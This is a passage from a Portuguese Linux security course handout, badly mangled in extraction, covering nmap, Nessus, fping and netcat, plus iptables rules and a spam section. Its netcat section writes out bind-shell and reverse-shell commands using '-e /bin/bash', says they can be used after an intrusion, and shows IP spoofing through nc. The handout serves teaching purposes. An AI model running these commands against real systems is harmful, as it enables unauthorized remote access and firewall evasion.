se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 30: Curso de segurança em linux e redes em geral

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que 